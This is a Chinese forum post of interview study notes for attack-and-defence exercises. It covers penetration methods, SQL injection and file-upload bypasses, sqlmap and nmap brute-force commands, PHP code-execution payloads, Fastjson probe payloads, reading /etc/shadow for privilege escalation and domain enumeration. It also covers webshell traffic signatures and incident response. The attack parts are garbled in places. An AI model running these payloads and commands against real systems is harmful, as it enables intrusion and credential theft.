xiaomingxiaozha 发表于 2022-6-5 16:34:38

护网面试答题

渗透过程
1、        简单查看渗透目标的简单信息
2、        进行信息收集:方法 方式:被动信息收集、主动信息收集、主动扫描
收集基础信息IP,网段,子域名,端口
收集操作系统版本
查看是否使用过其他应用,web应用,邮箱之类的
服务与那些类型
人员的信息进行收集,域名注册人的信息,网站上发帖人的ID账号可以对ID号进行爆破,还有管理员姓名ID,这里就可以去Google、fofa、微步、VT、whois 、钟馗之眼、等多个平台进行信息收集,最近出来的零零心安也可以
        然后就是查看是否存在防护waf,cdn,如果有的话没法对其目录扫描
然后就是借用一些漏扫软件了例如awvs,xray,资产灯塔之类的漏扫软件
这些软件可以更方便得探测出一些明显的端口,子域名,ip,还有泄露的信息
收集起来之后在进行整合,进行渗透

真实ip查
Ping和DNS解析(nslookup)查询
绕cdn
域名解析记录、国外访问、多地ping、ping顶级域名

常用端口
端口        说明        攻击方法
21        FTP-文件传输协议        弱口令,爆破,嗅探,抠门
22        SSH-安全隧道远程登录        弱口令,爆破
23        Telnet-远程连接        弱口令,嗅探,爆破
25        Smtp-简单邮件传输协议        邮件伪造
53        domain-DNS域名解析服务        DNS劫持,缓存投毒
80/443        http服务        创建web漏洞,IIS写文件、
OpnSSL
139        Samba服务        爆破、远程代码执行
445        局域网共享        Ms-17010漏洞(win7版本)
873        Rsync        远程代码执行
1433        MSSQL数据库        爆破、sql注入
2049        NFS        未授权访问
3306        Mysql数据库        爆破、sql注入
3389        Rdp-远程桌面链接        爆破漏洞ms12-020
5632        postgresql        爆破、注入
5900        VNC远程登录        爆破、认证绕过
6379        Redis        未授权访问
7001/7002        weblogic        Java反序列化漏洞
9990        Jboss        远程代码执行,java反序列

SQL注入的原理
1、        判断是否存在注入点
例如and1=1或者and 1=1‘ 或者当and1=1是对的在试探and1=2的查看是否有注入点
2、        判断当前页面字段总数
使用ordeer by 查看当前字段
3、联合查询寻找输出点
        使用union select 查看将两条SQL语句一齐输出,同时输出结果必须有相同的字段数是否出现异常数据union不输出异常数据union all显示异常数据 查看异常数据
3、        查看当前数据库
使用union select database() 查看当前数据库名字
4、        查看是否存在闭合
使用单引号符号进行探测 ‘1
5、        数据库漏洞类型数字型注入,字符型注入,时间形注入,报错形注入‘
数字型跟字符型区别看符号报错
时间型注入使用if函数进行查看if(1,sleep(5),3)
报错型注入:
char(x)函数:将x的值转为所对应的字符
left (string,n) string为要截取的字符串,n为长度
正则表达式语法: regexp ^ 表示字符串中第一个字符是在 a-z范围内。regexp ^a 表示字符串第一个字符是a。regexp ^ab 表示字符串前两个字符是ab。
Like 'a%'表示字符串第一个字符是a。
if(判断条件,正确返回的值,错误返回的值)注意数据库中的if与后端if不一样
宽字节注入
利用了mysql的一个特性,mysql在使用gbk编码时,而gbk是典型的宽字节从而导致我可以用它来吃掉ascii的一个字符,多用于吃掉'\'
布尔注入原理
没有回显但是有注入错误显示,我们可以通过判断字符长度和ascii值判断回显数据。
报错注入常见的报错函数
常见的报错函数有updataxml()、exp()、floor()等
SQL注入写入webshell条件
知道绝对路径、mysql有root权限n
SQL注入修复建议
加waf/可以有效缓解,可以作为/临时措施,根除的话/需要修改源码,一般需要/严格对输入参数/进行SQL语句过滤/,或者/使用预编译(就是/把要查询的语句/先封装编译,后边/输入的参数/都会被/作为字符串输入)
SQL注入漏洞挖掘
SQL注入漏洞一般出现在有数据交互的地方,比如登录页面、数据查询页面、新闻页面、数据新增页面等
SQL注入绕过方式
1、使用大小写混合;
2、使用内联注释的方式绕过,就是用/*!12345 语句   */
3、使用等价替换的方式,比如用like替换等号
4、使用16进制编码表示字符串,绕过对库名的过滤

跨站(xss)
XSS原理
原理: 中文名是跨站脚本攻击,通过在客户端和服务器的访问过程中插入恶意脚本(一般我们使用js代码),实现对用户浏览器的攻击
XSS修复建议
1.        对输入的内容进行过滤,比如过滤掉<>
2.        对将要输出的内容进行HTML编码
3.        对重要的cookie设置httpOnly, 防止客户端通过document.cookie读取 cookie
!!!XSS与CSRF与SSRF漏洞区别
XSS是跨站脚本攻击,攻击的目标是客户端,因为是脚本攻击,所以JS脚本写什么,客户端就会做什么,比如窃取cookie利用方式比较灵活

CSRF是跨站请求伪造,攻击的目标也是客户端,利用时只能窃用cookie,只能利用存在csrf漏洞的功能点,局限性比XSS大

SSRF是服务端请求伪造,攻击的是服务端,危害较大,可以造成内网穿透、命令执行、内网信息泄露
CSRF(跨站请求伪造)
CSRF原理
原理:中文名跨站请求伪造,在用户保持登录状态的情况下,攻击者构造一个站点,诱导用户访问,用户访问后被恶意站点控制跳转到存在CSRF漏洞的页面,假如这个页面是密码修改页面,在这个过程中,保持登录状态的cookie就会被窃用,造成密码修改。
CSRF漏洞修复建议
1、在重要的功能点上,增加访问来源的验证,比如验证referer头
2、增加验证码验证,增加token验证
SSRF漏洞(服务端请求伪造)
SSRF漏洞原理
原理:本身是资源的引用,如果没有进行校验,会导致内网不想让别人访问的资源或服务被人探测甚至攻击到的一个漏洞。
SSRF漏洞修复建议
修复:
1.地址做白名单处理
2.域名识别IP 过滤内部IP
3.校验返回的内容,对比一下是否与预期的内容一致
XXE漏洞(XML文档外部实体注入)
XXE漏洞原理
原理: 又叫XML外部实体注入,由于过滤不严格导致的,用户传入的恶意XML文档被解析导致的漏洞
XXE漏洞修复建议
修复建议:
1、对用户提交的XML数据进行过滤;
2、设置PHP参数,禁用外部实体写入;
XXE危害
当允许引用外部实体时,通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。
XXE触发点
xxe漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件

文件上传
修改上传文件的后缀名
如果有拦截就是用垃圾数据,或者
白名单
白名单绕过采用后缀名的绕过方法 如MIME修改、%00截断、0x00截断
1、MIME检测并不是检测后缀名,是检测文件类型,虽然不检测后缀名,但是属于白名单机制。
2、白名单绕过 upload-labs-Pass-12 [%00截断]
过 $_POST 方式获取图片存储路径的。利用 $_POST 获取图片存储路径时使用的 %00 截断是无法正常解析的需要重新进行URL编码。在upload后面加上12.php+(添加+是为了方便改hex值) 通过 burpsuite 修改 hex 值为 00 进行截断。把 2b(’+'的 hex) 修改成 00,或者直接在upload后面加上12.php%00,然后选中%00实施URL-decode
解决方法:对文件上传设置拦截器
黑名单
绕过大小写绕过,空格绕过,. 绕过特殊符号绕过 路径拼接绕过,双写绕过
大小写绕过原理
Windows系统下,对于文件名中的大小写不敏感,例如:test.php和TeSt.PHP是一样的。
Linux系统下,对于文件名中的大小写敏感。例如:test.php和TesT.php就是不一样的。
此时可以通过修改文件后缀,使用大小写混合的写法绕过缺少了对上传文件名获取的大小写转换的黑名单验证。
空格绕过原理
Windows系统下,对于文件名中的空格会被作为空处理,程序中的检测代码却不能自动删除空格。从而绕过黑名单。
针对这样的情况需要使用Burpsuite截断HTTP请求之后,修改对应的文件名,添加空格
.号绕过原理
Windows系统下,文件名后缀最后一个点会被自动去除。
例如:
Windows下新建一个1.php.文件,查看。
此时可以通过修改上传文件的后缀,使用*.php.的写法绕过缺少了对去除文件名最后一个点的处理的验证进行绕过。
特殊符号绕过原理
Windows系统下,如果上传的文件名中test.php::D A T A 会 在 服 务 器 上 生 成 一 个 t e s t . p h p 的 文 件 , 其 中 内 容 和 所 上 传 内 容 相 同 , 并 被 解 析 。 例 如 : 在 W i n d o w s 系 统 下 新 建 一 个 文 件 名 为 1. p h p : : DATA会在服务器上生成一个test.php的文件,其中内容和所上传内容相同,并被解析。 例如: 在Windows系统下新建一个文件名为1.php::DATA会在服务器上生成一个test.php的文件,其中内容和所上传内容相同,并被解析。例如:在Windows系统下新建一个文件名为1.php::DATA的文件,查看效果。但是在Windows下新建的文件名中包含特殊符号不能成功新建。
当验证代码黑名单过滤中没有过滤掉 ::D A T A , 此 时 就 可 以 通 过 上 传 文 件 后 缀 为 1. p h p : : DATA,此时就可以通过上传文件后缀为1.php::DATA,此时就可以通过上传文件后缀为1.php::DATA格式的文件进行验证绕过
路径拼接绕过原理
在没有对上传文件进行重命名的情况下,用户可以自定义文件名并在服务器中上传新建,就会造成对应的绕过黑名单。
例如:
用户新建 1.php.+空格+.
deldot删除最后一个点之后,不再进行删除,trim删除空格,那么最终上传的文件名为1.php.
利用Windows自动去除最后一个点,导致成功上传1.php。
双写绕过原理
代码编写过程中,只对黑名单中的内容进行控替换,因为只替换一次所以造成双写绕过。
Sqlmap
-u 指定目标URL (可以是http协议也可以是https协议)
-d 连接数据库
--dbs 列出所有的数据库
--current-db 列出当前数据库
--tables 列出当前的表
--columns 列出当前的列
-D 选择使用哪个数据库
-T 选择使用哪个表
-C 选择使用哪个列
--dump 获取字段中的数据
--batch 自动选择yes
--smart 启发式快速判断,节约浪费时间
--forms 尝试使用post注入
-r 加载文件中的HTTP请求(本地保存的请求包txt文件)
-l 加载文件中的HTTP请求(本地保存的请求包日志文件)
-g 自动获取Google搜索的前一百个结果,对有GET参数的URL测试
-o 开启所有默认性能优化
--tamper 调用脚本进行注入
-v 指定sqlmap的回显等级
--delay 设置多久访问一次
--os-shell 获取主机shell,一般不太好用,因为没权限
-m 批量操作
-c 指定配置文件,会按照该配置文件执行动作
-data data指定的数据会当做post数据提交
-timeout 设定超时时间
-level 设置注入探测等级
--risk 风险等级
--identify-waf 检测防火墙类型
--param-del="分割符" 设置参数的分割符
--skip-urlencode 不进行url编码
--keep-alive 设置持久连接,加快探测速度
--null-connection 检索没有body响应的内容,多用于盲注
--thread 最大为10 设置多线程

--delay
有些web服务器请求访问太过频繁可能会被防火墙拦截,使用--delay就可以设定两次http请求的延时
--safe-url
有的web服务器会在多次错误的访问请求后屏蔽所有请求,使用--safe-url 就可以每隔一段时间去访问一个正常的页面。
--tamper
语法:--tamper ["脚本名称"]
当调用多个脚本的时候,脚本之间用逗号隔开,调用的脚本在 sqlmap文件夹下的 tamper 文件夹中
get型:
语法:sqlmap -u ["url"]
post型:
先使用bp把提交的数据包保存下来
语法:sqlmap -r "/root/.sqlmap/post.txt"
获取当前数据库名称:
语法:sqlmap -u [“url”] --current-db
获取指定数据库的表名:
语法:sqlmap -u [“url”] -D [‘数据库名’] --tables
获取指定数据库指定表中的字段:
语法:sqlmap -u [“url”] -D [‘数据库名’] -T[‘表名’] --columns
获取指定数据库指定表的指定字段的字段内容:
语法:sqlmap -u [“url”] -D [‘数据库名’] -T [‘表名’] -C [‘字段名1,字段名2,…’] --dump

Namp
-p 端口
--script=脚本
-sP ping扫描
-O 探测目标系统的漏洞,容易误报
–open 只输出端口状态为open的端口
-sC --script=default 默认的脚本扫描,主要是搜集各种应用服务的信息
-sT TCP connect()扫描,这种方式会在目标主机的日志中记录大批的链接请求以及错误信息。
-P0 扫描之前不使用ping,适用于防火墙禁止ping,比较有用。
-sP ping扫描,加上这个参数会使用ping扫描,只有主机存活,nmap才会继续扫描,一般最好不加,因为有的主机会禁止ping,却实际存在。
-sS 半开扫描,一般不会记入日志,不过需要root权限。
-sU udp扫描,但是一般不可靠,
-sA 用来穿过防火墙的规则集,速度慢。
-sV 端口服务及版本
-A 包含了-sV,-O,全面系统检测,启动脚本检测,扫描等。
-iL 扫描主机列表
-v 显示扫描进程
使用nmap查看一个主机是否在线,执行命令如下:
nmap -sP 192.168.23.25
探测目标主机所有的保留TCP端口
nmap -v
1.nmap -p 21 --script ftp-anon.nse -v 192.168.3.23   检查ftp是否允许匿名登录
2.nmap -p 21 --script ftp-brute.nse -v 192.168.3.23   爆破ftp弱口令---速度慢
3.nmap -p 3306 --script mysql-empty-password.nse -v 192.168.3.23 扫描root空密码
4.nmap -p 3306 --script mysql-brute.nse -v 192.168.3.23   MySQL简单爆破
5.nmap -p 1433 --script ms-sql-empty-password.nse -v 192.168.3.0/24 扫描sa空密码
6.nmap -p 1433 --script ms-sql-brute.nse -v 192.168.3.0/24 sa密码爆破
7. nmap -p 5432 --script pgsql-brute -v 192.168.3.0/24爆破postgresql
8. nmap --script oracle-brute-stealth -p 1521 --script-args oracle-brute-stealth.sid=ORCL-v 192.168.3.0/24爆破oracle
9.nmap -p 27017--script mongodb-brute 192.168.3.0/24 爆破mongdb
10.nmap -p 23 --script telnet-brute --script-args userdb=myusers.lst,passdb=mypwds.lst,telnet-brute.timeout=8s -v 192.168.3.0/24 Telnet爆破
11.nmap -p80 --script http-iis-short-name-brute.nse 192.168.3.0/24 短文件扫描
12.nmap -p80 --script=http-backup-finder 192.168.3.0/24扫描网站备份

Php代码审计
Php危险函数
Call_user_func()
第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。 传入call_user_func()的参数不能为引用传递
call_user_func($_GET['1'],$_GET['2']);
语句构造:codeexec.php?1=assert&2=phpinfo()
call_user_func_array()
第一个参数作为回调函数(callback)调用,把参数数组作(param_arr)为回调函数的的参数传入。
call_user_func_array($_GET['1'],$_GET['2']);

构造:codeexec.php?1=assert&2[]=phpinfo()

create_function
该函数的内部实现用到了eval,所以也具有相同的安全问题。第一个参数args是后面定义函数的参数,第二个参数是函数的代码。

    $a = $_GET['a'];
    $b = create_function('$a',"echo $a");
    $b('');
构造:codeexec.php?a=phpinfo();


array_map()
数组的每个元素应用回调函数 。其返回值为数组,array1 每个元素应用 callback函数之后的数组。 callback 函数形参的数量和传给 array_map() 数组数量,两者必须一样。

<?php
    $array = array(0,1,2,3,4,5);
    array_map($_GET,$array);
?>
构造:codeexec.php?1=phpinfo
php执行函数:
system('ls')
shell_exec('ls')
passthru('ls')
exec('ls')
popen()
语句:php -r '$fd=popen("whoani","r");var_dump(fgets($fd));'

proc_open()
proc_get_status()
ob_start()
assert('phpinfo();')
scandir()
chgrp()
chown()
ini_set()
ini_restore()
dl()
eval()
preg_replace()
create_function()
call_user_func()
include(),include_once(),require(),require_once()       

proc_open()
执行一个命令并打开文件指针用于读取以及写入。

proc_get_status()

获取使用 proc_open() 所打开进程的信息。


ob_start()
bool ob_start ([ callback $output_callback [, int $chunk_size [, bool $erase ]]] )

当调用 output_callback 时,它将收到输出缓冲区的内容作为参数 并预期返回一个新的输出缓冲区作为结果,这个新返回的输出缓冲区内容将被送到浏览器。
<?php
    $cmd = 'system';
    ob_start($cmd);//将命令存储到内部缓冲区
    echo "$_GET";
    ob_end_flush(); 清除内部缓冲区,此时将输出缓冲区的内容当作参数执行并输入执行结果,即执行system($_GET(a))
?>

assert('phpinfo();')
动态代码执行,只支持php5.x,7.x里,即使参数是字符串也不执行

scandir()
列出指定路径中的文件和目录。

chgrp()
改变文件或目录所属的用户组。

chown()
改变文件或目录的所有者。

ini_set()
可用于修改、设置 PHP 环境配置参数。

ini_restore()
可用于恢复 PHP 环境配置参数到其初始值。

dl()
在 PHP 进行运行过程当中(而非启动时)加载一个 PHP 外部模块。
eval()
<?php
$var = "var";
if (isset($_GET["arg"]))
{
      $arg = $_GET["arg"];
      eval("\$var = $arg;");
      echo "\$var =".$var;
}
?>
构造:?arg=var_dump(scandir('./')) 列出所有目录以及文件。
preg_replace()
preg_replace()函数是用于正则表达式的,但preg_replace 函数也可能会导致命令执行。

如果subject 中有 pattern 的匹配则preg_replace 的 /e 修正符会将 replacement 参数当作 php 代码,并且以 eval 函数的方式执行。

构造:?pat=/test/e&rep=phpinfo()&sub=jutst test

也可以为 ?pat=/test/e&rep=var_dump(`net user`)&sub=jutst test
create_function()
从创建一个匿名函数传递的参数,并返回一个唯一的名称

<?php
error_reporting(0);
$sort_by = $_GET['sort_by'];
$sorter = 'strnatcasecmp';
$databases=array('1234','4321');
$sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);';
usort($databases, create_function('$a, $b', $sort_function));
?>
构造:?sort_by='"]);}phpinfo();/*
call_user_func()
<?php
    $filter= 'assert';
    $value = 'phpinfo()';
    call_user_func($filter, $value);
    ?>
include(),include_once(),require(),require_once()
运行指定文件

反序列化漏洞
反序列化漏洞原理
原理:序列化是指Java对象转化为二进制文件的过程,反序列化指的是这个文件再转化为Java对象的过程,本身是个正常过程,但如果被转化的这个文件是个恶意的,转化后的对象也是会是恶意的,由此可造成命令执行等等威胁。
反序列化漏洞修复建议
一般我们遇到的反序列化漏洞,基本都使用了具有反序列化漏洞的组件或者类造成的,一般我们打补丁或者到最新版本就可以防御。
Php反序列化使用魔法函数
__wakeup()
__wakeup触发于unserilize()调用之前(在将要开始实行反序列化前调用此函数)
__destruct()
当对象结束其生命周期时(例如对象所在的函数已调用完毕)
__construct()
在实例化对象时被调用(对象被创建的时候会被调用)
__sleep()
序列化时会被调用(执行serialize()前如果存在__sleep()方法会被调用)
__call()
调用对象不存在时被调用
__get()
调用私有属性时被调用
__toString()
对象被当作字符串时被调用
__invoke()
类被用作以函数的方式调用时,触发

Shiro反序列化漏洞
Shiro < 1.2.4版本会存在此漏洞,挖掘的时候删除请求包中的rememberMe参数,返回包中包含rememberMe=deleteMe字段。说明使用了shiro组件,可以尝试此漏洞。
如果返回包无此字段,可以通过在发送数据包的cookie中增加字段:****rememberMe=,然后查看返回数据包中是否存在关键字
此漏洞有两个版本利用方式,
SHIRO-550:
不需要提供秘钥,使用默认秘钥就可以利用
SHIRO-721反序列化漏洞
先爆破秘钥,成功后可以进一步利用
Fastjson反序列化漏洞
Fastjson提供了反序列化功能,允许用户在输入JSON串时通过“@type”键对应的value指定任意反序列化类名,由此造成反序列化漏洞;
漏洞挖掘方式:如果请求包中出现http头Accept:application/json,怀疑存在fastjson组件,构造报错,返回包中出现fastjson时,确认使用了fastjson组件,可以尝试此漏洞
Fastjson从1.2.24到1.2.67多个版本存在此漏洞,如果没有回显版本,可以将以下payload,挨个替换到请求内容,尝试是哪个版本的漏洞
{"@type":"java.net.InetSocketAddress"{"address":,"val":"aaa.dnslog.cn"}}

{"@type":"java.net.Inet4Address","val":"aaa.dnslog.cn"}

{"@type":"java.net.Inet6Address","val":"aaa.dnslog.cn"}

{"@type":"com.alibaba.fastjson.JSONObject",{"@type":"java.net.URL", "val":"http://aaa.dnslog.cn"}}""}

Set[{"@type":"java.net.URL","val":"http://aaa.dnslog.cn"}]

Set[{"@type":"java.net.URL","val":"http://aaa.dnslog.cn"}

{{"@type":"java.net.URL","val":"http://aaa.dnslog.cn"}:0
Log4j2 lookup 功能JNDI注入
原理:本身是Apache日志功能,他有个日志遍历的功能,当碰到${jndi://} ,会遍历执行,JNDI功能又可以使用ldap或者rmi来引入class文件,我们只需要在class文件中加入需要执行的恶意代码,就可以造成代码注入

流量特征就是${jndi://ldap://} ${jndi://rmi://}
防御的话,升级版本,lookup参数设为yes
中间件漏洞
解析漏洞
Apache文件名解析
从后往前解析,如果解析文件a.php.abc,先解析abc,Apache发现不认识,就会往前,解析PHP,最终文件会以PHP方式解析
IIS解析漏洞
1、目录解析:IIS从前往后解析,解析a.asp/a.jpg文件时,会先发现asp后缀,以为文件格式为asp,按照asp的方式解析
2、文件名解析:IIS从前往后解析,解析a.asp;.jpg文件时,会先发现asp后缀,以为文件格式为asp,按照asp的方式解析
Nginx 畸形文件名解析
解析文件a.jpg文件时,访问a.jpg/.php,查找文件内容时,.php不是完整文件名,因此从后往前找到a.jpg文件,确认文件类型时,nginx关注的是后缀,.php有完整的后缀,所以按照php去解析,因此a.jpg文件就会被解析成php
有反序列化漏洞的中间件Tomcat、Jboss、weblogic
Weblogic漏洞
发现端口7001则存在weblogic
未授权访问、反序列化、ssrf漏洞、T3协议反序列化等
内网渗透
提权
Windows提权方式
1、内核提权,利用WinSystemHelper跑一下,给出适合的内核漏洞编号,尝试就可以了
2、数据库提权,MySQL UDF提权,SQLserver使用xp_cmdshell提权
3、应用提权
4、中间人劫持等
Linux提权
1、内核漏洞提权
2、SUID提权                文件设置SUID 权限,会允许用户执行此文件时,以属主的身份运行,如果此文件的属主为root,则以root身份执行
3、sudo提权   sudo命令可以使任意用户使用root权限执行命令,此命令被滥用会造成提权
4、定时任务提权利用crontab设置定时任务,会默认以root身份执行
5、curl提权   sudo curl file:///etc/shadow会访问存有所以用户密码哈希值的shadow文件,以此获取到高权限用户密码
内网渗透工具
mimikatz主要用做域渗透
域信息收集
域内基础信息收集
金票:黄金票据,伪造TGT,相当于获取域控权限
银票:白银票据,伪造ST,登录特定服务
1、获取域SID
whoami /all
image.png
域SID主要是用来区分不同域,域用户SID是用来区分域内不同的用户的,在后续票据传递中会使用到。
2、查询域内用户
net user /domain
image.png

通过查询域内用户就可以知道当前这个域内所有的用户名

3、查看域用户的详细信息
net user tom /domain
image.png

通过查看域用户的详细信息可以得到域用户密码的到期时间,所属组以及上次登录的时间等信息

4、        查询域列表(假如存在多个域)
net view /domain
image.png
通过查询域列表可以看到,当前存在两个域分别是:C1AY,SUB
5、查看域内主机信息
net view
image.png
通过查询域内主机信息可以看到,当前域内存在着3台计算机
6、获取所在指定域下的主机名
net view /domain:C1ay
image.png

通过查询指定域下的主机名也可以看到,当前域内存在着3台主机。


7、查看域内计算机
net group "domain computers" /domain
image.png

通过查看域内计算机可以看到,一共有2台计算机加入了当前域
8、查看域信任关系
nltest /domain_trusts
image.png

通过查看域信任关系可以判断出当前域是否存在着林信任或是父子域信任,后续在跨域攻击或者是跨林攻击中会使用到。
9、查询域密码信息
net accounts /domain
image.png

通过查询域密码信息我们就可以知道当前域用户多久修改⼀次密码,密码策略的是什么,就可以针对性的制定⼀份密码字典,提高效率
10、查看域内时间(时间服务器)
net time /domain
image.png

通过查看域内时间(时间服务器),我们得知了当前域的时间,我们就可以通过使用定时任务+IPC远程连接的方式来运行⼀些bat文件,后续会详细介绍,
11、查看域内用户组列表
net group /domain
image.png

Domain Admins:域管理员。

Domain Computers: 域内机器。

Domain Controllers:域控制器。

Domain Guest: 域访客,权限较低。

Domain Users: 域用户。

Enterprise Admins: 企业系统管理员用户。
在默认情况下,Domain Admins和Enterprise Admins对域内所有域控制器有完全控制权限。

通过查看域的用户组我们可以知道每个组具体是做什么的,比如说⼀些大型企业或者集团会有专门设有财务组、信息组、营销组...等等,那么假设我们要针对于某个部门、某个组、在具体到某个人来进行渗透,那么搜集组信息就尤为关键了。
12、查看存在的用户
dsquery user
image.png

常用的dsquery命令如下:

image.png
13、域内控制器的查找方式
1、通过nltest命令查找域控制器

nltest /dclist:hacker
image.png

可以看到当前域内存在着两台域控制器,一台为主控制器,一台为辅域控制器。

2、通过查询域内时间

net time /domain
image.png

因为时间服务器一般为域控制器,我们也可以通过ping命令来获取到域控制器的IP地址:

image.png

3、查看域控制器组

net group "Domain Controllers" /domain
image.png

4、查询主域控制器

netdom query pdc
image.png

5、nslookup查询

nslookup DC1.c1ay.lab
image.png
14、查看域管理员组
net localgroup administrators /domain
流量分析
wireshark使用
wireshark简单的过滤规则
过滤 ip:
过滤源 ip 地址:ip.src==1.1.1.1;,目的 ip 地址:ip.dst==1.1.1.1;
过滤端口:
过滤 80 端口:tcp.port==80,源端口:tcp.srcport==80,目的端口:tcp.dstport==80
协议过滤:
直接输入协议名即可,如 http 协议 http
http 模式过滤:
过滤 get/post 包 http.request.mothod=="GET/POST"
菜刀、蚁剑、冰蝎流量特征
菜刀特征
使用了base64的方式加密了发送给“菜刀马”的指令,其中的两个关键payload z1和z2,这个名字是可变的,请求中会有eval这个函数
蚁剑特征
默认的USER-agent请求头 是 antsword xxx,但是 可以通过修改:/modules/request.js 文件中 请求UA绕过
其中流量最中明显的特征为@ini_set("display_errors","0");这段代码基本是所有WebShell客户端链接PHP类WebShell都有的一种代码

蚁剑混淆加密后还有一个比较明显的特征,即为参数名大多以“_0x......=”这种形式(下划线可替换),所以以_0x开头的参数名也很可能就是恶意流量
冰蝎
看包没有发现什么特征,但是可以发现它是POST请求的
1、Accept头有application/xhtml+xmlapplication/xmlapplication/signed-exchange属于弱特征(UA头的浏览器版本很老)
2、特征分析Content-Type: application/octet-stream 这是一个强特征查阅资料可知octet-stream的意思是,只能提交二进制,而且只能提交一个二进制,如果提交文件的话,只能提交一个文件,后台接收参数只能有一个,而且只能是流(或者字节数组);很少使用
#冰蝎2特征:
默认Accept字段的值很特殊,而且每个阶段都一样冰蝎内置了十余种UserAgent ,每次连接 shell 会随机选择一个进行使用。但都是比较老的,r容易被检测到,但是可以在burp中修改ua头。
Content-Length: 16, 16就是冰蝎2连接的特征

#冰蝎3特征:
冰蝎3取消动态密钥获取,目前很多waf等设备都做了冰蝎2的流量特征分析,所以3取消了动态密 钥获取;php抓包看包没有发现什么特征,但是可以发现它是POST请求的
1)Accept头application/xhtml+xmlapplication/xmlapplication/signed- exchange属于弱特征
2)ua头该特征属于弱特征。通过burp可以修改,冰蝎3.0内置的默认16个userAgent都比较老。现实生活中很少有人使用,所以这个也可以作为waf规则特征

jsp抓包特征分析Content-Type: application/octet-stream 这是一个强特征查阅资料可知 octet-stream的意思是,只能提交二进制,而且只能提交一个二进制,如果提交文件的话,只能提交 一个文件,后台接收参数只能有一个,而且只能是流(或者字节数组);很少使用。
Web攻击类的流量告警处置
要按照不同的漏洞及危害程度进行研判和处置,一般方法是:
先看是不是攻击,是的话,攻击先封禁IP及端口,抑制攻击继续
再看有没有成功,成功的话,确定造成的影响,进行恢复
如果是已经沦陷的流量告警,如webshell通信(之前一定有webshell上传)、源地址是内网的攻击(此主机可能已经被攻击拿下),需要进行溯源
发现一个SQL注入告警怎么判断?
天眼告警页面有一个详情,可以打开具体的流量包,先看请求头和请求体是否含有SQL注入常用的SQL语句,比如and 1=1 ,比如sleep,比如updatexml等,如果有的话,说明是攻击,然后看响应,响应状态码为404这种情况,就是没有利用成功,如果是响应码是200,就看响应体内容,看是否包含查询出的预期结果,如果含有预期结果,则攻击成功,处置的话,先申请封禁IP,然后向客户申请对相关服务下架处理,然后对漏洞进行修复,如果被爆出了账号,需要修改密码。
应急响应
应急响应的六个过程?
准备-检测-抑制-根除-恢复-跟踪总结
详情
准备工作,收集信息:收集告警信息、客户反馈信息、设备主机信息等。
检测,判断类型:安全事件类型的判断(钓鱼邮件,webshell,爆破,中毒等)
抑制,控制范围,隔离失陷设备,降低此次安全事件的损失
根除,对此次安全给出清除方式、
恢复,恢复系统运行,把收到影响的设备系统服务还原到正常状态。
输出报告
中了病毒(或者挖矿病毒)、木马如何处置
应急?
得看是什么系统,大体步骤都是差不多的
如果是Linux:
先隔离设备,然后登录该主机
1、首先根据告警中的端口和域名排查出进程ID(PID),命令为netstat -ano
如果没有端口或者通信ip信息,可以用top命令,列出当前cup占用率较大的可疑进程
2、根据查出的端口号定位文件后根据PID杀死进程
定位文件ls -l /proc/端口号 ,结果中/proc/端口号/exe 链接到进程的执行命令文件
杀死进程kill -9 PID号
3、文件加密保存取证以后,删除文件,使用杀软扫描一下,看是否有残余文件
4、找个文件沙箱(比如奇安信的TI系统)跑一下提取到的病毒文件,看看会造成什么行为,根据行为进行修复
5、检查是否留有可疑用户、可疑文件、ssh登录证书等后门,检查定时任务
6、排查一下文件是如何被上传的,大概率是web漏洞或ssh爆破上传的
7、写应急检查报告
如果是Windows
1、首先根据告警中的端口和域名排查出进程ID(PID),命令为netstat -ano
如果没有端口或者通信ip信息,可以用任务管理器,列出当前cup占用率较大的可疑进程
2、定位文件后根据PID杀死进程
定位文件在任务管理器的详细信息界面根据pid,右键打开文件位置
杀死进程taskill /t /pid PID号
3、文件加密保存取证以后,删除文件,使用杀软扫描一下,看是否有残余文件
4、找个文件沙箱(比如奇安信的TI系统)跑一下提取到的病毒文件,看看会造成什么行为,根据行为进行修复
5、检查是否留有可疑用户、可疑文件、后门,检查注册表是否有残余,检查系统自启动
6、排查一下文件是如何被上传的
7、写应急检查报告
/etc/passwd与/etc/shadow区别
/etc/passwd 存账户信息一般不存密码

/etc/shadow主要用来存密码
入侵排查思路
### 已经被入侵
一、目的已经达成,木马,后门均已销毁
1.既然知道被入侵,定位被入侵的时间点
2.如果这个服务器是云服务器,对其进行快照。(目的,封存内存。)
3.当定位到时间点,查设备流量信息。找到木马链接信息
4.查找系统内对应的日志,找到相关线索
5.如果日志被删除,因为机器快照已经建立。使用Winhex对硬盘数据进行恢复

二、目的没有达成,数据正在回传。木马,后门均在服务器上运行
1.下线服务器,封禁攻击IP
2.Volatility 内存取证 建立快照 提取内存定位到shellcode找到他的IP
3.如果他们使用常见的C2的工具,我们可以根据流量分析出入侵者的意图
4.关闭服务器,或者在防火墙上禁掉他们的IP。登录服务器,对shellcode进行移除
5.重启以后进入安全模式,排查注册表 计划任务 服务 放大镜后门 shift后门
正在被入侵
可能入侵者在尝试进行攻击的时候,下线,然后对机器进行排查
比如:弱口令爆破
1.弱口令爆破会产生日志,日志一定要采用远程日志系统,例如Linux的rsyslog。开启远程日志系统的好处:不怕日志被攻击者删除
2.一定要找到入侵者的源IP,在防火墙下发阻断策略
Linux系统排查思路
1、检查用户及密码文件/etc/passwd、/etc/shadow 是否存在多余帐号,主要看一下帐号
后面是否是 nologin,如果没有 nologin 就要注意;
2、通过 who 命令查看当前登录用户(tty 本地登陆 pts 远程登录)、w 命令查看系统
信息,想知道某一时刻用户的行为、uptime查看登陆多久、多少用户,负载;
3、修改/etc/profile的文件,在尾部添加相应显示时间、日期、ip、命令脚本代码,这样输入history命令就会详细显示攻击者 ip、时间历史命令等;
4、用 netstat -antlp|more命令分析可疑端口、IP、PID,查看下 pid 所对应的进程文件路径,运行ls -l /proc/$PID/exe 或 file /proc/$PID/exe($PID 为对应的pid 号);
5、使用ps命令,分析进程 ps aux | grep pid
6、使用 vi /etc/inittab 查看系统当前运行级别,通过运行级别找到/etc/rc.d/rc.d对应目录是否存在可疑文件;
7、看一下crontab定时任务是否存在可疑启用脚本;
8、使用chkconfig --list 查看是否存在可疑服务;
9、通过grep awk命令分析/var/log/secure安全日志里面是否存在攻击痕迹;
